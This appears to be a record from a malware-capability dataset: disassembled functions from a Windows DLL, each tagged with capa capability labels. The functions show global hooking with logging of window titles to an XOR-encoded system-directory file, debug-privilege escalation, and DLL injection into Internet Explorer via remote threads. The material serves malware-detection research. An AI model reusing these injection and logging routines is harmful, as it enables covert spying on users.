joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009cf0
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
push 0x104
push 0
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [0x10026d44]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x108], 0x64
push 0x104
push 0
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
push str._s_lang.ini
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10009d91
push 0x10021080
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea edx, [ebp - 0x20c]
push edx
mov eax, dword [ebp + 8]
push eax
push str.icon
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009fd0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x100210a8
mov dword [ebp - 8], 0
jmp 0x10009ff7
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp eax, dword [edx + 0x9e50]
jae 0x1000a031
push 0xffffffffffffffff
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10009fee
mov ecx, dword [ebp - 4]
call fcn.1000bd70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a6d0
Capabilities:
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e5fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push str.UnInstallService__
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x118]
call fcn.10014b90
mov dword [ebp - 4], 0
xor eax, eax
mov al, byte [0x10026eab]
cmp eax, 4
jne 0x1000a734
mov ecx, dword [ebp - 0x10]
add ecx, 0x110
push ecx
lea ecx, [ebp - 0x118]
call fcn.10014d80
jmp 0x1000a7a0
xor edx, edx
mov dl, byte [0x10026eab]
cmp edx, 2
jne 0x1000a75e
mov eax, dword [ebp - 0x10]
add eax, 0x110
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x10
push ecx
lea ecx, [ebp - 0x118]
call fcn.10014c40
jmp 0x1000a7a0
xor edx, edx
mov dl, byte [0x10026eab]
cmp edx, 5
jne 0x1000a778
lea ecx, [ebp - 0x118]
call fcn.10015570
jmp 0x1000a7a0
xor eax, eax
mov al, byte [0x10026eab]
cmp eax, 1
jne 0x1000a7a0
mov ecx, dword [ebp - 0x10]
add ecx, 0x110
push ecx
mov edx, dword [ebp - 0x10]
add edx, 0x10
push edx
lea ecx, [ebp - 0x118]
call fcn.100158e0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000a9d0
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [0x10026d3c]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3200000
jae 0x1000aa2c
push 2
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], 0
jmp 0x1000aa60
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x10]
jge 0x1000aa7e
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
xor eax, 0x62
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov byte [ecx], al
jmp 0x1000aa57
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000aac0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x958
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
jne 0x1000aad7
jmp 0x1000ac50
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jb 0x1000aaf5
cmp dword [ebp - 4], 0x80
jbe 0x1000aafa
jmp 0x1000ac50
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 8], eax
mov ecx, dword [0x10026d3c]
mov edx, dword [ebp - 8]
cmp edx, dword [ecx + 8]
je 0x1000abd5
mov eax, dword [0x10026d3c]
mov ecx, dword [ebp - 8]
mov dword [eax + 8], ecx
push 0x100
lea edx, [ebp - 0x108]
push edx
mov eax, dword [0x10026d3c]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [ebp - 0x918]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x800
push 0
lea eax, [ebp - 0x908]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x90c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x90e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x910]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x918]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x912]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x916]
and ecx, 0xffff
push ecx
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
lea edx, [ebp - 0x908]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x908]
push eax
call fcn.1000aac0
add esp, 4
mov ecx, dword [0x10026d3c]
xor edx, edx
mov dl, byte [ecx + 0xc]
test edx, edx
je 0x1000abf0
mov eax, dword [ebp + 8]
push eax
call fcn.1000a9d0
add esp, 4
mov ecx, dword [0x10026d3c]
mov edx, dword [ecx]
add edx, dword [ebp - 4]
cmp edx, 0x400
jbe 0x1000ac29
push 0x400
push 0
mov eax, dword [0x10026d3c]
add eax, 0x111
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [0x10026d3c]
mov dword [ecx], 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [0x10026d3c]
add eax, 0x111
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x10026d3c]
mov edx, dword [ecx]
add edx, dword [ebp - 4]
mov eax, dword [0x10026d3c]
mov dword [eax], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000af30
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e639
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x74
push ebx
push esi
push edi
lea ecx, [ebp - 0x34]
call fcn.1000b010
mov dword [ebp - 4], 0
push str._kaspersky
push 0x594
push 0
push 4
lea ecx, [ebp - 0x34]
call fcn.1000b260
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x10026d40], eax
cmp dword [0x10026d40], 0
jne 0x1000afa2
mov byte [ebp - 0x38], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.1000b070
mov al, byte [ebp - 0x38]
jmp 0x1000aff2
push 0
push 0
push 0
push 6
mov eax, dword [0x10026d40]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10026d3c], eax
cmp dword [0x10026d3c], 0
jne 0x1000afdc
mov byte [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.1000b070
mov al, byte [ebp - 0x3c]
jmp 0x1000aff2
mov byte [ebp - 0x40], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.1000b070
mov al, byte [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b2d0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
call fcn.1000af30
and eax, 0xff
test eax, eax
jne 0x1000b2ee
xor al, al
jmp 0x1000b3d6
push 0x594
push 0
mov eax, dword [0x10026d3c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [0x10026d38], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10026d34], eax
mov ecx, dword [0x10026d3c]
mov dword [ecx + 8], 0
mov edx, dword [0x10026d3c]
mov dword [edx + 4], 0
mov eax, dword [0x10026d3c]
mov dword [eax], 0
push 0x80
push 0
mov ecx, dword [0x10026d3c]
add ecx, 0x511
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
mov edx, dword [0x10026d3c]
add edx, 0xd
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._syslog.dat
mov eax, dword [0x10026d3c]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x10026d3c]
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000b3a0
mov edx, dword [0x10026d3c]
mov byte [edx + 0xc], 1
jmp 0x1000b3a9
mov eax, dword [0x10026d3c]
mov byte [eax + 0xc], 0
mov ecx, dword [0x10026d3c]
cmp dword [ecx + 4], 0
jne 0x1000b3d4
push 0
mov edx, dword [0x10026d44]
push edx
push 0x1000ac60
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov ecx, dword [0x10026d3c]
mov dword [ecx + 4], eax
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b4f0
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._syslog.dat
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x1000b630
push 0
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x124], eax
mov edx, dword [ebp - 0x124]
mov dword [ebp - 0x11c], edx
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x120], 0
jmp 0x1000b5d3
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0xc]
jae 0x1000b5ff
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x120]
mov cl, byte [eax]
xor cl, 0x62
mov edx, dword [ebp - 0x11c]
add edx, dword [ebp - 0x120]
mov byte [edx], cl
jmp 0x1000b5c4
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000b470
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x128]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b6d0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000b701
xor al, al
jmp 0x1000b778
mov dword [ebp - 0x18], 0
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x20], 0
xor edx, edx
mov dword [ebp - 0x1c], edx
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x1000b738
xor al, al
jmp 0x1000b778
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 2
push 0
push 0
push 0x10
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1000b776
xor al, al
jmp 0x1000b778
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b780
Capabilities:
Create thread
Inject dll
Inject thread
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push str.InjectProcess
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
jne 0x1000b7b2
xor al, al
jmp 0x1000b86c
mov ecx, dword [ebp - 4]
call fcn.1000b6d0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
push 4
push 0x1000
mov edx, dword [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000b7f4
xor al, al
jmp 0x1000b86c
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000b814
xor al, al
jmp 0x1000b86c
push 0x10021154
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x1000b838
xor al, al
jmp 0x1000b86c
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000b85f
xor al, al
jmp 0x1000b86c
push str.InjectProcess_end
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000b880
Capabilities:
Get common file path
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push str.LInjectRun_Run
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 8], 0
push 0x104
push 0
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
mov edx, dword [0x10026d44]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100270f4
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
je 0x1000b9a0
push 0x100270f4
call fcn.100116c4
add esp, 4
mov dword [ebp - 0x110], eax
push 0x104
push 0
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 0x110]
push ecx
push str.iexplore.exe
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x1000b975
push 0x104
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x212], 0
push str.Program_FilesInternet_Explorer_
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, dword [ebp - 0x110]
push ecx
lea edx, [ebp - 0x214]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x214]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000b9b0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000b9a0
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.1000b780
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b9b0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push str.MyCreateProcess
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x5c], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
push 0x44
push 0
lea ecx, [ebp - 0x5c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x5c], 0x44
mov dword [ebp - 0x30], 0x101
mov word [ebp - 0x2c], 0
mov dword [ebp - 0x18], 0
push 0x100211cc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000ba60
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
push str.MyCreateProcess_end
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ca70
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp - 4]
add ecx, 8
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000cc1a
mov dword [ebp - 0x10], 0
push 0
push 0
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x18]
push eax
push 0
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x28]
push edx
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1000cae9
xor eax, eax
jmp 0x1000cc1d
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x28], 0
jbe 0x1000cc1a
cmp dword [ebp - 0x24], 1
jbe 0x1000cc1a
mov dword [ebp - 0x38], 0xd
mov edx, dword [ebp - 0x28]
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
lea ecx, [edx + eax + 1]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x3c]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 8]
mov byte [edx], 0x87
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x38]
push edx
lea eax, [ebp - 0x48]
push eax
mov ecx, dword [ebp - 8]
add ecx, 1
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x24]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x10], 0
jmp 0x1000cb8f
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x28]
jae 0x1000cbeb
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp - 0x4c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x50], edx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x10]
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 8]
add eax, edx
add eax, dword [ebp - 0x38]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x1000cb86
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x42
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d0d0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000d0fd
mov eax, 1
jmp 0x1000d0ff
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000d110
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000d13a
mov eax, 1
jmp 0x1000d13c
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000d150
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000d17a
mov al, 1
jmp 0x1000d17c
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000d1e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000d217
mov eax, 1
jmp 0x1000d219
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000d230
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000d275
mov eax, 1
jmp 0x1000d277
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000d2e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x1000d32a
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov eax, 1
jmp 0x1000d32c
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8